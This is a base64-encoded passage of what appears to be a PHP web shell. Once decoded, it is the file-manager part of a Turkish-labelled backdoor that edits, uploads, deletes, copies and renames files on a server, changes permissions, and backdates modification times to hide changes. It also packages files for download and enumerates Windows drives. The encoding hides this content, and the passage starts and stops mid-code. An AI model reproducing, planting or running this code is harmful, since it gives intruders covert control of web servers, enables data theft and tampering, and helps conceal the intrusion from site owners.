CgkJJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsNCgkJbSgnU2F2ZSBmaWxlICcuKEBmd3JpdGUoJGZwLCRmaWxlY29udGVudCkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQlAZmNsb3NlKCRmcCk7DQoJfQ0KDQoJLy8gIyYjMTA4ODsrJiMxMDg1OystKyAtJiMxMDMxOy0rDQoJZWxzZWlmICgkcGZpbGUgJiYgJG5ld3Blcm0pIHsNCgkJaWYgKCFmaWxlX2V4aXN0cygkcGZpbGUpKSB7DQoJCQltKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJJG5ld3Blcm0gPSBiYXNlX2NvbnZlcnQoJG5ld3Blcm0sOCwxMCk7DQoJCQltKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vICstfCANCgllbHNlaWYgKCRvbGRuYW1lICYmICRuZXdmaWxlbmFtZSkgew0KCQkkbm5hbWUgPSAkbm93cGF0aC4kbmV3ZmlsZW5hbWU7DQoJCWlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsNCgkJCW0oJG5uYW1lLicgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vICt8K3wrLSsgDQoJZWxzZWlmICgkc25hbWUgJiYgJHRvZmlsZSkgew0KCQlpZiAoZmlsZV9leGlzdHMoJHRvZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRzbmFtZSkpIHsNCgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKGJhc2VuYW1lKCR0b2ZpbGUpLicgY29waWVkICcuKEBjb3B5KCRzbmFtZSwkdG9maWxlKSA/IGJhc2VuYW1lKCR0b2ZpbGUpLicgc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gKy0tJiMxMDczOy0jKyYjMTA5MjsNCgllbHNlaWYgKCRjdXJmaWxlICYmICR0YXJmaWxlKSB7DQoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSB8fCAhQGZpbGVfZXhpc3RzKCR0YXJmaWxlKSkgew0KCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSR0aW1lID0gQGZpbGVtdGltZSgkdGFyZmlsZSk7DQoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vICsrfCYjMTA4MDstJiMxMDkzOy0jKyYjMTA5MjsNCgllbHNlaWYgKCRjdXJmaWxlICYmICR5ZWFyICYmICRtb250aCAmJiAkZGF5ICYmICRob3VyICYmICRtaW51dGUgJiYgJHNlY29uZCkgew0KCQlpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkpIHsNCgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gfCYjMTAyODsjIC0tKysNCgllbHNlaWYoJGRvaW5nID09ICdkb3ducmFyJykgew0KCQlpZiAoJGRsKSB7DQoJCQkkZGZpbGVzPScnOw0KCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCA9PiAkdmFsdWUpIHsNCgkJCQkkZGZpbGVzLj0kZmlsZXBhdGguJywnOw0KCQkJfQ0KCQkJJGRmaWxlcz1zdWJzdHIoJGRmaWxlcywwLHN0cmxlbigkZGZpbGVzKS0xKTsNCgkJCSRkbD1leHBsb2RlKCcsJywkZGZpbGVzKTsNCgkJCSR6aXA9bmV3IFBIUFppcCgkZGwpOw0KCQkJJGNvZGU9JHppcC0+b3V0Ow0KCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KCQkJaGVhZGVyKCdBY2NlcHQtUmFuZ2VzOiBieXRlcycpOw0KCQkJaGVhZGVyKCdBY2NlcHQtTGVuZ3RoOiAnLnN0cmxlbigkY29kZSkpOw0KCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfRmlsZXMudGFyLmd6Jyk7DQoJCQllY2hvICRjb2RlOw0KCQkJZXhpdDsNCgkJfSBlbHNlIHsNCgkJCW0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOw0KCQl9DQoJfQ0KDQoJLy8gKyAtKysrfCArLSsgDQoJZWxzZWlmKCRkb2luZyA9PSAnZGVsZmlsZXMnKSB7DQoJCWlmICgkZGwpIHsNCgkJCSRkZmlsZXM9Jyc7DQoJCQkkc3VjYyA9ICRmYWlsID0gMDsNCgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGggPT4gJHZhbHVlKSB7DQoJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgew0KCQkJCQkkc3VjYysrOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRmYWlsKys7DQoJCQkJfQ0KCQkJfQ0KCQkJbSgnRGVsZXRlZCBmaWxlIGhhdmUgZmluaXNoZWQmIzEwNzU7JiMxMDg0O2Nob29zZSAnLmNvdW50KCRkbCkuJyBzdWNjZXNzICcuJHN1Y2MuJyBmYWlsICcuJGZhaWwpOw0KCQl9IGVsc2Ugew0KCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7DQoJCX0NCgl9DQoNCgkvLyMrKyYjMTExODstJiMxMDk4OyMtDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY3JlYXRlZGlyJykpOw0KCW1ha2VoaWRlKCduZXdkaXJuYW1lJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZXBlcm0nKSk7DQoJbWFrZWhpZGUoJ25ld3Blcm0nKTsNCgltYWtlaGlkZSgncGZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9Pidjb3B5ZmlsZScpKTsNCgltYWtlaGlkZSgnc25hbWUnKTsNCgltYWtlaGlkZSgndG9maWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVuYW1lJykpOw0KCW1ha2VoaWRlKCdvbGRuYW1lJyk7DQoJbWFrZWhpZGUoJ25ld2ZpbGVuYW1lJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZW9wZm9ybScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJyk7DQoJbWFrZWhpZGUoJ29wZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInKTsNCglmb3JtZm9vdCgpOw0KDQoJJGZyZWUgPSBAZGlza19mcmVlX3NwYWNlKCRub3dwYXRoKTsNCgkhJGZyZWUgJiYgJGZyZWUgPSAwOw0KCSRhbGwgPSBAZGlza190b3RhbF9zcGFjZSgkbm93cGF0aCk7DQoJISRhbGwgJiYgJGFsbCA9IDA7DQoJJHVzZWQgPSAkYWxsLSRmcmVlOw0KCSR1c2VkX3BlcmNlbnQgPSBAcm91bmQoMTAwLygkYWxsLyRmcmVlKSwyKTsNCglwKCc8aDI+RmlsZSBNYW5hZ2VyIC0gQ3VycmVudCBkaXNrIGZyZWUgJy5zaXplY291bnQoJGZyZWUpLicgb2YgJy5zaXplY291bnQoJGFsbCkuJyAoJy4kdXNlZF9wZXJjZW50LiclKTwvaDI+Jyk7DQoNCj8+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0ibWFyZ2luOjEwcHggMDsiPg0KICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBpZD0iZ29kaXIiIG5hbWU9ImdvZGlyIj4NCiAgPHRyPg0KICAgIDx0ZCBub3dyYXA+QnVsdW5kdWd1biBEaXppbiAoPD9waHAgZWNobyAkZGlyX3dyaXRlYWJsZTs/PiwgPD9waHAgZWNobyBnZXRDaG1vZCgkbm93cGF0aCk7Pz4pPC90ZD4NCgk8dGQgd2lkdGg9IjEwMCUiPjxpbnB1dCBuYW1lPSJ2aWV3X3dyaXRhYmxlIiB2YWx1ZT0iMCIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9ImRpciIgdmFsdWU9Ijw/cGhwIGVjaG8gJG5vd3BhdGg7Pz4iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDoxMDAlO21hcmdpbjowIDhweDsiPjwvdGQ+DQogICAgPHRkIG5vd3JhcD48aW5wdXQgY2xhc3M9ImJ0IiB2YWx1ZT0iR08iIHR5cGU9InN1Ym1pdCI+PC90ZD4NCiAgPC90cj4NCiAgPC9mb3JtPg0KPC90YWJsZT4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGNyZWF0ZWRpcigpew0KCXZhciBuZXdkaXJuYW1lOw0KCW5ld2Rpcm5hbWUgPSBwcm9tcHQoJ1BsZWFzZSBpbnB1dCB0aGUgZGlyZWN0b3J5IG5hbWU6JywgJycpOw0KCWlmICghbmV3ZGlybmFtZSkgcmV0dXJuOw0KCSQoJ2NyZWF0ZWRpcicpLm5ld2Rpcm5hbWUudmFsdWU9bmV3ZGlybmFtZTsNCgkkKCdjcmVhdGVkaXInKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGZpbGVwZXJtKHBmaWxlKXsNCgl2YXIgbmV3cGVybTsNCgluZXdwZXJtID0gcHJvbXB0KCdDdXJyZW50IGZpbGU6JytwZmlsZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGF0dHJpYnV0ZTonLCAnJyk7DQoJaWYgKCFuZXdwZXJtKSByZXR1cm47DQoJJCgnZmlsZXBlcm0nKS5uZXdwZXJtLnZhbHVlPW5ld3Blcm07DQoJJCgnZmlsZXBlcm0nKS5wZmlsZS52YWx1ZT1wZmlsZTsNCgkkKCdmaWxlcGVybScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gY29weWZpbGUoc25hbWUpew0KCXZhciB0b2ZpbGU7DQoJdG9maWxlID0gcHJvbXB0KCdPcmlnaW5hbCBmaWxlOicrc25hbWUrJ1xuUGxlYXNlIGlucHV0IG9iamVjdCBmaWxlIChmdWxscGF0aCk6JywgJycpOw0KCWlmICghdG9maWxlKSByZXR1cm47DQoJJCgnY29weWZpbGUnKS50b2ZpbGUudmFsdWU9dG9maWxlOw0KCSQoJ2NvcHlmaWxlJykuc25hbWUudmFsdWU9c25hbWU7DQoJJCgnY29weWZpbGUnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIHJlbmFtZShvbGRuYW1lKXsNCgl2YXIgbmV3ZmlsZW5hbWU7DQoJbmV3ZmlsZW5hbWUgPSBwcm9tcHQoJ0Zvcm1lciBmaWxlIG5hbWU6JytvbGRuYW1lKydcblBsZWFzZSBpbnB1dCBuZXcgZmlsZW5hbWU6JywgJycpOw0KCWlmICghbmV3ZmlsZW5hbWUpIHJldHVybjsNCgkkKCdyZW5hbWUnKS5uZXdmaWxlbmFtZS52YWx1ZT1uZXdmaWxlbmFtZTsNCgkkKCdyZW5hbWUnKS5vbGRuYW1lLnZhbHVlPW9sZG5hbWU7DQoJJCgncmVuYW1lJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBkb2ZpbGUoZG9pbmcsdGhlZmlsZSxtKXsNCglpZiAobSAmJiAhY29uZmlybShtKSkgew0KCQlyZXR1cm47DQoJfQ0KCSQoJ2ZpbGVsaXN0JykuZG9pbmcudmFsdWU9ZG9pbmc7DQoJaWYgKHRoZWZpbGUpew0KCQkkKCdmaWxlbGlzdCcpLnRoZWZpbGUudmFsdWU9dGhlZmlsZTsNCgl9DQoJJCgnZmlsZWxpc3QnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGNyZWF0ZWZpbGUobm93cGF0aCl7DQoJdmFyIGZpbGVuYW1lOw0KCWZpbGVuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGZpbGUgbmFtZTonLCAnJyk7DQoJaWYgKCFmaWxlbmFtZSkgcmV0dXJuOw0KCW9wZmlsZSgnZWRpdGZpbGUnLG5vd3BhdGggKyBmaWxlbmFtZSxub3dwYXRoKTsNCn0NCmZ1bmN0aW9uIG9wZmlsZShhY3Rpb24sb3BmaWxlLGRpcil7DQoJJCgnZmlsZW9wZm9ybScpLmFjdGlvbi52YWx1ZT1hY3Rpb247DQoJJCgnZmlsZW9wZm9ybScpLm9wZmlsZS52YWx1ZT1vcGZpbGU7DQoJJCgnZmlsZW9wZm9ybScpLmRpci52YWx1ZT1kaXI7DQoJJCgnZmlsZW9wZm9ybScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gZ29kaXIoZGlyLHZpZXdfd3JpdGFibGUpew0KCWlmICh2aWV3X3dyaXRhYmxlKSB7DQoJCSQoJ2dvZGlyJykudmlld193cml0YWJsZS52YWx1ZT0xOw0KCX0NCgkkKCdnb2RpcicpLmRpci52YWx1ZT1kaXI7DQoJJCgnZ29kaXInKS5zdWJtaXQoKTsNCn0NCjwvc2NyaXB0Pg0KICA8P3BocA0KCXRiaGVhZCgpOw0KCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjx0ciBjbGFzcz0iYWx0MSI+PHRkIGNvbHNwYW49IjciIHN0eWxlPSJwYWRkaW5nOjVweDsiPicpOw0KCXAoJzxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0idXBsb2FkZmlsZSIgdmFsdWU9IiIgdHlwZT0iZmlsZSIgLz4gPGlucHV0IGNsYXNzPSJidCIgbmFtZT0iZG91cGZpbGUiIHZhbHVlPSJVcGxvYWQiIHR5cGU9InN1Ym1pdCIgLz48aW5wdXQgbmFtZT0idXBsb2FkZGlyIiB2YWx1ZT0iJy4kZGlyLiciIHR5cGU9ImhpZGRlbiIgLz48aW5wdXQgbmFtZT0iZGlyIiB2YWx1ZT0iJy4kZGlyLiciIHR5cGU9ImhpZGRlbiIgLz48L2Rpdj4nKTsNCglwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLidcJyk7Ij48Rk9OVCBGQUNFPSJ0YWhvbWEiIGNvbG9yPSIjOTk5OTk5Ij4gPGxlZnQ8YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzpyZWQgMHB4IDBweCA4cHg7IGNvbG9yOnJlZCI+V2ViUm9vdDwvYT4nKTsNCglpZiAoJHZpZXdfd3JpdGFibGUpIHsNCgkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9hPicpOw0KCX0gZWxzZSB7DQoJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyxcJzFcJyk7Ij48Rk9OVCBGQUNFPSJ0YWhvbWEiIGNvbG9yPSIjOTk5OTk5Ij4gPGxlZnQ8YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzpyZWQgMHB4IDBweCA4cHg7IGNvbG9yOnJlZCI+VmlldyBXcml0YWJsZTwvYT4nKTsNCgl9DQoJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVkaXIoKTsiPjxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiA8bGVmdDxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OnJlZCAwcHggMHB4IDhweDsgY29sb3I6cmVkIj5LbGFzb3IgT2x1c3R1cjwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWZpbGUoXCcnLiRub3dwYXRoLidcJyk7Ij48Rk9OVCBGQUNFPSJ0YWhvbWEiIGNvbG9yPSIjOTk5OTk5Ij4gPGxlZnQ8YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzpyZWQgMHB4IDBweCA4cHg7IGNvbG9yOnJlZCI+RG9zeWEgT2x1c3R1cjwvYT4nKTsNCglpZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsNCgkJaWYgKCRvYmogJiYgaXNfb2JqZWN0KCRvYmopKSB7DQoJCQkkRHJpdmVUeXBlREIgPSBhcnJheSgwID0+ICdVbmtub3cnLDEgPT4gJ1JlbW92YWJsZScsMiA9PiAnRml4ZWQnLDMgPT4gJ05ldHdvcmsnLDQgPT4gJ0NEUm9tJyw1ID0+ICdSQU0gRGlzaycpOw0KCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7DQoJCQkJaWYgKCRkcml2ZS0+RHJpdmVUeXBlID09IDIpIHsNCgkJCQkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRyaXZlLT5QYXRoLicvXCcpOyIgdGl0bGU9IlNpemU6Jy5zaXplY291bnQoJGRyaXZlLT5Ub3RhbFNpemUpLicmIzEzO0ZyZWU6Jy5zaXplY291bnQoJGRyaXZlLT5GcmVlU3BhY2UpLicmIzEzO1R5cGU6Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLiciPicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoNCglwKCc8L3RkPjwvdHI+PC9mb3JtPicpOw0KDQoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7DQogICAgDQoJLy8jJiMxMDk3Oyt8LSArLSsrLXwrLSsgfC0tKy0rDQoJJGRpcmRhdGE9YXJyYXkoKTsNCgkkZmlsZWRhdGE9YXJyYXkoKTsNCg0KCWlmICgkdmlld193cml0YWJsZSkgew0KCQkkZGlyZGF0YSA9IEdldExpc3QoJG5vd3BhdGgpOw0KCX0gZWxzZSB7DQoJCS8vIC0rLSstLSMmIzExMDE7DQoJCSRkaXJzPUBvcGVuZGlyKCRkaXIpOw0KCQl3aGlsZSAoJGZpbGU9QHJlYWRkaXIoJGRpcnMpKSB7DQoJCQkkZmlsZXBhdGg9JG5vd3BhdGguJGZpbGU7DQoJCQlpZihAaXNfZGlyKCRmaWxlcGF0aCkpew0KCQkJCSRkaXJkYlsnZmlsZW5hbWUnXT0kZmlsZTsNCgkJCQkkZGlyZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoJCQkJJGRpcmRiWydkaXJjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7DQoJCQkJJGRpcmRiWydkaXJwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsNCgkJCQkkZGlyZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOw0KCQkJCSRkaXJkYlsnY2xpZW50X2xpbmsnXT11ZSgkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYXRhW109JGRpcmRiOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmlsZWRiWydmaWxlbmFtZSddPSRmaWxlOw0KCQkJCSRmaWxlZGJbJ3NpemUnXT1zaXplY291bnQoQGZpbGVzaXplKCRmaWxlcGF0aCkpOw0KCQkJCSRmaWxlZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoJCQkJJGZpbGVkYlsnZmlsZWNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsNCgkJCQkkZmlsZWRiWydmaWxlcGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOw0KCQkJCSRmaWxlZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsNCgkJCQkkZmlsZWRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsNCgkJCQkkZmlsZWRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYXRhW109JGZpbGVkYjsNCgkJCX0NCgkJfS8vIHdoaWxlDQoJCXVuc2V0KCRkaXJkYik7DQoJCXVuc2V0KCRmaWxlZGIpOw0KCQlAY2xvc2VkaXIoJGRpcnMpOw0KCX0NCglAc29ydCgkZGlyZGF0YSk7DQoJQHNvcnQoJGZpbGVkYXRhKTsNCgkkZGlyX2kgPSAnMCc7DQoJZm9yZWFjaCgkZGlyZGF0YSBhcyAka2V5ID0+ICRkaXJkYil7DQoJCWlmKCRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuJykgew0KCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoJCQlwKCc8dGQgd2lkdGg9IjIlIiBub3dyYXA+PGZvbnQgZmFjZT0id2luZ2RpbmdzIiBzaXplPSIzIj4wPC9mb250PjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicuJGRpcmRiWydtdGltZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4tLTwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlyY2htb2QnXS4nPC9hPiAvICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlycGVybSddLic8L2E+Jy4kZGlyZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGRpclwnLFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnQXJlIHlvdSBzdXJlIHdpbGwgZGVsZXRlICcuJGRpcmRiWydmaWxlbmFtZSddLic/IFxcblxcbklmIG5vbi1lbXB0eSBkaXJlY3RvcnksIHdpbGwgYmUgZGVsZXRlIGFsbCB0aGUgZmlsZXMuXCcpIj5EZWw8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPjwvdGQ+Jyk7DQoJCQlwKCc8L3RyPicpOw0KCQkJJGRpcl9pKys7DQoJCX0gZWxzZSB7DQoJCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ109PScuLicpIHsNCgkJCQlwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7DQoJCQkJcCgnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IldpbmdkaW5ncyAzIiBzaXplPTQ+PTwvZm9udD48L3RkPjx0ZCBub3dyYXAgY29sc3Bhbj0iNSI+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuZ2V0VXBQYXRoKCRub3dwYXRoKS4nXCcpOyI+PEZPTlQgRkFDRT0idGFob21hIiBjb2xvcj0iIzk5OTk5OSI+IDxsZWZ0Pjxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OndoaXRlIDBweCAwcHggOHB4OyBjb2xvcjp3aGl0ZSI+PGZvbnQgY29sb3I9cmVkPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KCQkJfQ0KCQl9DQoJfQ0KDQoJcCgnPHRyIGJnY29sb3I9IiNkZGRkZGQiIHN0bHllPSJib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7Ij48dGQgY29sc3Bhbj0iNiIgaGVpZ2h0PSI1Ij48L3RkPjwvdHI+Jyk7DQoJcCgnPGZvcm0gaWQ9ImZpbGVsaXN0IiBuYW1lPSJmaWxlbGlzdCIgYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0icG9zdCI+Jyk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCgltYWtlaGlkZSgndGhlZmlsZScpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCgkkZmlsZV9pID0gJzAnOw0KCWZvcmVhY2goJGZpbGVkYXRhIGFzICRrZXkgPT4gJGZpbGVkYil7DQoJCWlmKCRmaWxlZGJbJzxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiAgICA8bGVmdD48YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzpsaWdodHN0ZWVsYmx1ZSAwcHggMHB4IDhweDsgY29sb3I6ZGFya3NsYXRlYmx1ZSI+PGZvbnQgY29sb3I9cmVkPm